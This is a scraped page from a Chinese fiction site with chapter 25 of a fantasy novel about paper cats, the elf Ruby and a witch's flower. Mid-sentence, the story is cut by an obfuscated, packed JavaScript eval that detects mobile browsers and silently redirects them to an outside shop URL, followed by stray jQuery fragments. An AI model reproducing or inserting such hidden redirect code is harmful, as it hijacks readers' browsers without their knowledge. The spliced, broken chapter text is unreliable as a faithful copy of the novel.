文趣网 > 都市小说 > 在西幻世界当纸片小猫 > 25. 第 25 章
    露比说完就眼一闭,什么魔法都没使,摆出一副勇者一无所惧,壮烈赴死的样子。

    这家伙说笨还知道撒谎,说聪明……

    阿布什真的很难违心的说他聪明。

    但……

    猫猫没有心啊!

    猫揉了揉露比的小脑袋瓜。

    聪明的小露比嘴里没有一句实话。

    除了那个精灵应该叫尼尔。

    实际是就这个名字阿布什保有怀疑,但话又说回来了,谁还没点秘密了。

    线索又在此断开。

    露比正被揉的脑壳晕晕,正要睁眼,脑袋被轻轻的,轻轻的,像是错觉一样的被弹了一下。

    露比睁眼,弹他的那个纸片爪子已经收回。

    弹他的猫线条嘴巴一张一合,“行了,你烧的是自然之森又不是我家,我才不在乎这个。”

    “你可是预备猫猫,我们猫猫不欺负猫猫。”

    露比看着他,听见他问。

    “傻了?”

    “傻了的猫猫我们可不收。”

    露比急忙道:“没傻!没傻!”

    没傻!

    现在是什么时间?

    这个猫是那位的造物吗?

    他感觉到了。

    刚刚的接触,那一刹而逝的力量。

    那位的力量。

    阿布什:还是挺傻的。

    “现在怎么办?”阿布什看向奥格弥撒,他算是明白了奥格弥撒大概是他的小队里脑子最好的。

    脑子最好的天使猫猫摇摇头。

    他不知道,别问他。

    日晕:啊啊啊!!!

    不得已猫又看向脑子第二好的猫猫魔。

    猫猫魔豆豆眼一眯,“看我做什么?你问其他家伙,我只是个装饰品。”

    哦先看了奥格弥撒才来看他?他不如奥格弥撒?

    猫:这闹得哪门子的小脾气哦。

    猫探爪,想看这个魔是不是脑子坏了,手还没碰到,先听见露比的声音,“你认识那位住在盲海沧源的女士吗?”

    “盲海沧源哪是哪里?”奥格弥撒问,他还是第一次听见这个名字。

    托拜厄再次听见那——

    咚——

    咚——

    咚——的心跳声音。

    盲海沧源一个熟悉的名字,一个他第一次听见的名字。

    托拜厄看向阿布什。

    阿布什在短暂的愣怔后,脑袋后面冒出一朵朵朵的小花花。

    托拜厄听见那咚咚咚的声音加快,快的像是在夏日里突如其来的雨中旋转跳跃的踢踏舞一般。

    这是——开心?

    光是听见就觉得开心,是因为盲海沧源还是因为那位女士。

    猫后脑冒花终于遏制住激荡的情绪,盲海沧源只有一个房子,房子里只住着一位女士。是夏纳啊。

    是夏纳。

    是他最最最爱的女巫妈妈!

    “认识!当然认识!你认识夏……”花冒的更欢快了,阿布什本想问他是不是认识他的夏纳妈妈,但猛的想起自己之前忽悠的时候可没少提夏纳都名字。

    神明会和女巫同名还恰好被同一个猫猫知道吗?

    那必然是不可能的。

    阿布什临时改口,“是我的女巫妈妈。你认认识她吗?”

    托拜厄听着心跳从踢踏舞边做跳跳糖,快要跳出花来,魔忍不住问,“你有几个好妈妈?”声音颇有点奇异。

    “当然只有一个!”阿布什想也不想的说,说完突然想起上次托拜厄想让自己喊爸爸,他扭头看托拜厄,凶巴巴道“我是不会认你这个后爸的。”

    托拜厄傲娇似地……“那你之前一口一个好妈妈是在叫谁?还有谁稀罕当你后爸了。”

    猫圈圈眼放大放大,托拜厄看见他眼里两个大字‘卧槽!’

    脑袋上的花没了取而代之的是‘卧槽!!我忘了喊他妈的事儿了!’

    托拜厄昂起脸,一双豆豆眼里竟然显露出几分得意“叫妈。”

    阿布什:“妈”

    托拜厄慈祥道:“好孩子。”很好心跳声没了,世界都安静了。

    安静真好。

    猫猫魔的爪子微蜷着,细细摸索自己此刻薄削如刀片的身子侧边,开心的味道真不错啊,但心跳有些吵了。

    露比看托拜厄,“你是那位女士?可你声音听起来是男的啊!!”

    “难道……?”露比陷入迷茫。

    天使猫猫看看这个,在看看那个。

    心里只有一个疑问,那个契约是把托拜厄的脑子给抹掉了吗?

    托拜厄撇了露比一眼什么都没说。

    就他的豆豆眼,露比什么都看不出,身体却本能的僵住,似乎陷入巨大的压力之中,可面前的猫只是看了他一眼,没有魔法,没有语言,没有一切。

    可就是有压力,那是……刻在…骨子里的臣服,哪怕只是这个猫有会是那位的可能就让她诚服。

    露比摸了摸自己都胸腔,安慰的想,他们只是开玩笑,只是玩笑,哪位怎么会化成这么可爱又离谱的样子。

    他一遍一遍的在心里重复,直到那股由内而外散发都诚服感消失才再次开口,强制转移有关妈的话题,“我离开精灵之森的目的就是受人之托去拜访那位女士,我的姐姐说,哪位种在精灵之森的花有盛开的迹象。”

    一说夏纳种在自然精灵之森的花,阿布什很难不想起特里萨的嘱托。

    “格桑曲珍?”

    露比小脸上难得露出错愕的表情,“格桑曲珍?不…应该不是吧?”那位曾是兽人吗?不是吧?

    露比不确定,露比想捂嘴,不管是不是他这会儿都该说是才对,不然怎么去见哪位?

    阿布什看他捂嘴却误以为他是在撒谎,应该就是格桑曲珍。

    毕竟露比是个小撒谎精。

    那还真的是巧了,“我们传教的终点就是自然精灵之森,我受到霍尔森,特里萨校长的委托帮他去自然精灵之森摘我女巫妈妈种下的花。”

    “摘下来?不不行!你们摘不了。”露比下意识的反驳。

    “为什么?”

    “因为……”露比的声音戛然而止,他的嘴巴还在张张合合但三只猫都听不见他的声音,能看见他唇瓣的旗合形状,却读不懂他在说什么。

    猫傻乎乎的追问,“因为什么?”

    露比又重复好几遍,却见他们仍旧是茫然的状态。

    露比深吸了口气,最后他道:“因为女王不允许别人靠近那朵花,只能由哪位女士亲自前往才能采摘,我是来邀请哪位女士的。”

    “但我好像迷了路,你能带我去盲海沧源吗?”露比问的时候看着阿布什的眸子亮晶晶的里面就差左眼写‘真’右眼写‘诚’,脑门在带个大大的‘拜托’。

    奥格弥撒和托拜厄对视,豆豆眼对豆豆眼都看不懂豆豆眼里有什么。

    他们的脑海里却生出同样的两个字。

    ‘禁制’

    露比想说的话被下了禁制。

    他们的同步也就止步于这两个字,剩下的思维展开就只有他们自己知道在想些什么东西了。

    当然没脑子的猫连禁制都没想,他看着一脸祈求露比,他的重点在于“你先前不还是说你是放火烧了自然精灵之森,要被流放的犯人吗?”

    “你现在又成邀约的使者了?”

    露比正要解释之前哪些都是为了保命的谎话,出门在外谁不说点谎话

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580476|205096||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    保命呢?

    他们什么猫猫教不也是吗?

    他们还一起躲光之城的士兵。

    他还是预备猫猫。

    说好的猫猫不为难猫猫呢?

    然鹅阿布什一句话把他的狡辩全部噎着。

    “你是不是自然精灵之森没烧够?你还想烧盲海沧源!”

    “你要暗害我的女巫妈妈!”

    “现在我要剥夺你预备猫猫的身份!!”

    “露比我要代表夏纳女神审判你!”

    露比:“啊~”

    露比:“不可以拜托你!不要!!”

    看戏的奥格弥撒:……

    咚——

    心跳响了一声。

    托拜厄动了动鼻子,啊~

    是恶作剧兴奋的味道。

    看着露比和阿布什一顿你来我往就猫猫预备役的身份,和你是不是要火烧盲海沧源的拉扯后,一猫一半花妖精的戏以露比起誓结尾。

    露比比划了个繁复无比的动作,然后郑重其事的道:“露比再次向尊敬的海神并光明神,花之神,自然之神,轮回之神启誓,永不伤害盲海沧源永不伤害居住在哪里的……”

    轰隆一声巨响打断他后面的话,接着雷鸣不断。

    奥格弥撒皱起他此刻看不见的眉头,将空间戒指拿下来放在自己身旁的桌子上,桌子被烫出个圈。

    日晕升到一个比他撒谎时还要制热的温度。

    托拜厄走到这间房唯一的窗户边撩起窗帘,朝外看去是一片漆黑。

    阿布什也跟过来看着外面差异的到,“天黑了吗?这么快?我记得还是上午。”

    雷鸣还在继续。

    托拜厄:“也许是要下雨了。”

    奥格弥撒也过来看眼外面后闭眼,心里浮现一句问话‘狄耶戈,你在生气吗?’

    雷鸣再次响起,与雷鸣一起响在奥格弥撒脑海里的还有令万物迷眩带着怒意的嗓音——

    ‘背叛者的誓言,令吾恶心。’

    奥格弥撒睁眼看向露比,背叛者。

    那戛然而止的誓言和突如其来的雷似乎令露比遭受到什么磨难,他颤抖不止,他的眼里的恐慌不是谎言。

    声音再次于奥格弥撒脑海里响起,这次没了愤怒,唯有冷漠的质问。

    ‘奥格弥撒,你离开了霍尔森。’声音再次响起。

    ‘你这个坏孩子,奥格弥撒。’

    ‘不,我不是坏孩子,我是最好的那个,最好的孩子。’奥格弥撒叛逆的反驳,打断了他‘只有伟大的父神可以可以判定我的好坏,狄耶戈你无权判定我的好坏。’

    阿布什他们在旁边叽叽喳喳,奥格弥撒的心里却一片沉静。

    良久后,才再次有不属于他的声音响起。

    ‘坏孩子。’

    ‘你知道盲海沧源吗?哪里居住一位女士。你口中的背叛者想要去见她,她的造物在与我同行。’

    奥格弥撒回复完闭上了眼,再次睁眼时,他的豆豆眼有刹那变成如太阳般耀眼,明明还是黑的,却似乎亮的不行,又没有引起别的崽的注意。

    ‘奥格弥撒’将小小的房间环视一圈,最后定格在托拜厄的心脏处,又顺着托拜厄的心脏看向阿布什。

    忽地……他发觉似乎有什么在注视着他。

    他顺着感知回望过去对上一双……豆豆眼。

    ‘奥格弥撒’:……

    ‘奥格弥撒’闭上了眼,在睁眼,那双豆豆恢复往常的不起眼。

    ‘坏孩子。’

    奥格弥撒不悦的线条嘴都压下,‘我是好孩子。’

    他听见了一声似有若无的轻笑,然后再次归于寂静。

    无需等待,他知道,狄耶戈离开了。